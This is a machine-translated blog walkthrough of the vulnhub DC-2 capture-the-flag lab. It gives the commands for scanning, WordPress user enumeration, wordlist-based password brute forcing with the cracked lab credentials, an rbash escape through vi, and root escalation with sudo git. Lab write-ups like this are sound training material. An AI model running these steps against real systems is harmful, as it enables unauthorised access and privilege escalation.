当前位置:网站首页>vulnhub DC: 2
vulnhub DC: 2
2022-06-24 22:59:00 【Fairy elephant】
Infiltrate ideas :
nmap scanning ----nikto scanning ----wpscan enumeration wordpress user ----cewl Crawl for words ----wpscan Blast wordpress password ----tom user ssh Log in and vi Bypass rbash----su Switch to jerry----sudo git Raise the right
environmental information :
Drone aircraft :192.168.101.75
attack :192.168.101.34
Specific steps :
1、nmap scanning
sudo nmap -sV -sC -p- 192.168.101.75Scan to 80(http) and 7744(ssh)

2、nikto Scan website , modify hosts file
nikto -host http://192.168.101.75
nikto Scan the website and find that the root directory of the website is redirected to http://dc-2/, combination nmap Tips written in the page title in the scanning results “http-title: Did not follow redirect to http://dc-2/”, First in the attack plane hosts Add target aircraft to the document ip and dc-2 Correspondence of .
Because the attacker is kali, Therefore, what needs to be modified is /etc/hosts
sudo vim /etc/hostsAdd the highlighted one , Then save and exit

Then the browser accesses http://dc-2/, In the bright Flag The page was found bright Flag1, The content is about to log into the website and find the next flag, But the usual password dictionary is invalid , Need to use cewl Generate a password dictionary

3、wpscan Enumerate site users
To log in to a website, you must first know which users there are , Because the target website is wordpress, So it can be used wpscan Enumerate
wpscan --url http://dc-2/ -eFound three users :admin、jerry、tom

Save these three user names in a file user.txt in , A line of one , spare

4、cewl Crawl for words ,wpscan Burst code
use cewl Crawl the words contained in the website , And save to file dc2.txt in
cewl http://dc-2/ -w dc2.txtAnd then use wpscan Blast website user name and password , The user name dictionary uses the... In the previous step user.txt, For password dictionary dc2.txt
wpscan --url http://dc-2/ -U user.txt -P dc2.txtGet two results
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient

5、jerry Sign in wordpress Find out flag2
Browser access http://dc-2/wp-admin/, Go to the login page , User name jerry, password adipiscing Log in
stay Pages Page hits Flag2

Find the second flag, This flag Prompt to try another entry point

6、tom user ssh Sign in ,vi Bypass rbash
ssh Only tom Can log in successfully ,jerry Unable to login successfully
ssh [email protected] -p 7744The password is the step 4 From the explosion parturient
After successful login, I found ,tom In order to rbash Logon , Many commands do not support

adopt vi Bypass rbash:
Drone aircraft shell Input vi
And then in vi Enter... On the interface of
:set shell=/bin/bash
:shell
Then press enter , You can bypass rbash, obtain bash
But for this target plane , There are still many commands that cannot be executed , This is due to the target's environment variables $PATH=/home/tom/usr/bin, There are only a few commands in this directory

therefore , It needs to be revised $PATH A variable's value
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
First, you can use cat Command view flag3.txt 了 ,flag3 You can use su Command switch to jerry user

7、sudo git Raise the right
Switch to jerry, Input
su - jerryAnd then enter the steps 4 in wpscan Blasted jerry Password adipiscing

/home/jerry Find below flag4.txt

sudo -lFind out jerry We can use root execute git command , The command can sudo Raise the right


First, enter... On the target command line
sudo git -p help configAnd then in the beginning help Input... In the interface
!/bin/bashYou can get root Of shell

stay /root In the directory final-flag.txt

边栏推荐
- Market trend report, technical innovation and market forecast of solar roof system in China
- 【Laravel系列7.9】测试
- [untitled]
- CDN principle
- The usage difference between isempty and isblank is so different that so many people can't answer it
- Virtual private network foundation
- 问题求解——嵌套列表
- 2022-06-16 work record --js- judge the number of digits in string type digits + judge the number of digits in numeric type digits + limit the text length (display n words at most, exceeding...)
- Principle of IP routing
- Research Report on research and investment prospects of China's container coating industry (2022 Edition)
猜你喜欢

Are you afraid of being asked MySQL related questions during the interview? This 30000 word essence summary + 100 interview questions, and it's enough to hang the interviewer

Parental delegation mechanism

MySQL + JSON = King fried!!

ACL (access control list) basic chapter - Super interesting learning network

Talk about GC mechanism often asked in interview

【武汉大学】考研初试复试资料分享

Stop using it indiscriminately. This is the real difference between @validated and @valid!!!

Spark 离线开发框架设计与实现

Combine pod identity in aks and secret in CSI driver mount key vault
![[QT] QT event handling](/img/48/14a5491307fee1c99434d6cb308337.jpg)
[QT] QT event handling
随机推荐
Talk about GC mechanism often asked in interview
See how sparksql supports enterprise data warehouse
研究生宿舍大盘点!令人羡慕的研究生宿舍来了!
Research Report on market supply and demand and strategy of China's solar charging controller industry
【Laravel系列7.9】测试
Leetcode: push domino (domino simulation)
[Wuhan University] information sharing of the first and second postgraduate entrance examinations
CDN principle
nuScenes——数据集配置过程中遇到图像文件缺失或大小为0时的补救方法
证件照处理
环境配置 | VS2017配置OpenMesh源码和环境
Environment configuration | vs2017 configuring openmesh source code and environment
win10或win11打印机无法打印
【ROS玩转Turtlesim小海龟】
Parental delegation mechanism
OSPF basic content
LeetCode Algorithm 剑指 Offer 52. 两个链表的第一个公共节点
See how sparksql supports enterprise level data warehouse
Code farmers should also understand the IPv4 subnet division of point networks
EPICS記錄參考3 -- 所有記錄都有的字段